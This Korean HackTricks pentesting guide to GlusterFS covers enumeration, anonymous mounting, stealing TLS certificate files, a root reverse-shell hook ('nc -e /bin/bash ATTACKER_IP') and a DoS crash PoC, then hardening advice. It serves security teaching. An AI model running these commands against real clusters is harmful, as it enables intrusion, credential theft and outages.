24007-24008-24009-49152 - Pentesting GlusterFS

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

Basic Information

GlusterFS는 여러 서버의 저장소를 하나의 통합 네임스페이스로 결합하는 분산 파일 시스템입니다. 관리 데몬(glusterd)은 기본적으로 24007/TCP에서 수신 대기하며, 49152/TCP에서 시작하는 데이터 평면 브릭에 지시합니다(브릭당 하나의 포트, 증가하는 방식). 9.x 이전 버전은 브릭 전송을 위해 24008–24009/TCP를 사용했으므로, 레거시 클러스터에서 여전히 이러한 포트를 접할 수 있습니다.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

팁: 24007은 스토리지 전용 노드가 볼륨을 내보내지 않을 때에도 RPC 호출에 응답합니다. 따라서 이 서비스는 대규모 인프라 내에서 신뢰할 수 있는 피벗 대상입니다.

열거

공격하는 박스에 클라이언트 유틸리티를 설치하십시오:

sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu

1. 피어 검색 및 상태

# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status

2. 볼륨 정찰

# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all

3. 권한 없이 마운트

sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

마운트가 실패하면 클라이언트 측에서 /var/log/glusterfs/<vol_name>-<uid>.log를 확인하세요. 일반적인 문제는 다음과 같습니다:

• TLS 강제 적용 (option transport.socket.ssl on)
• 주소 기반 접근 제어 (option auth.allow <cidr>)

인증서 문제 해결

권한이 있는 클라이언트 노드에서 다음 파일을 훔쳐서 /etc/ssl/ (또는 오류 로그에 표시된 디렉토리)에 배치하세요:

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

알려진 취약점 (2022-2025)

항상 모든 노드에서 gluster --version을 확인하십시오; 부분 업그레이드 후 이질적인 클러스터가 일반적입니다.

gluster_shared_storage 악용 (권한 상승)

최근 버전에서도 많은 관리자가 지리적 복제를 단순화하기 위해 특별한 gluster_shared_storage 볼륨을 세계 읽기 가능하게 남겨둡니다. 이 볼륨은 모든 노드에서 root로 실행되는 cronjob 템플릿을 포함하고 있습니다.

# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

hooks/1/가 없으면 /ss_bricks/를 찾아보세요 – 정확한 경로는 주요 버전에 따라 다를 수 있습니다.

서비스 거부 PoC (CVE-2023-26253)

#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

glusterfsd < 11.0을 실행하면 충돌합니다.

강화 및 탐지

• 업그레이드 – 현재 LTS는 11.1 (2025년 7월)입니다. 위의 모든 CVE가 수정되었습니다.
• 모든 브릭에 대해 TLS를 활성화합니다:

gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem

• CIDR 목록으로 클라이언트를 제한합니다:

gluster volume set <vol> auth.allow 10.0.0.0/24

• 관리 포트 24007을 프라이빗 VLAN에서만 노출하거나 SSH 터널을 통해 노출합니다.
• 로그를 모니터링합니다: tail -f /var/log/glusterfs/glusterd.log 및 audit-log 기능을 구성합니다 (volume set <vol> features.audit-log on).

참조

• GlusterFS 보안 권고
• CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.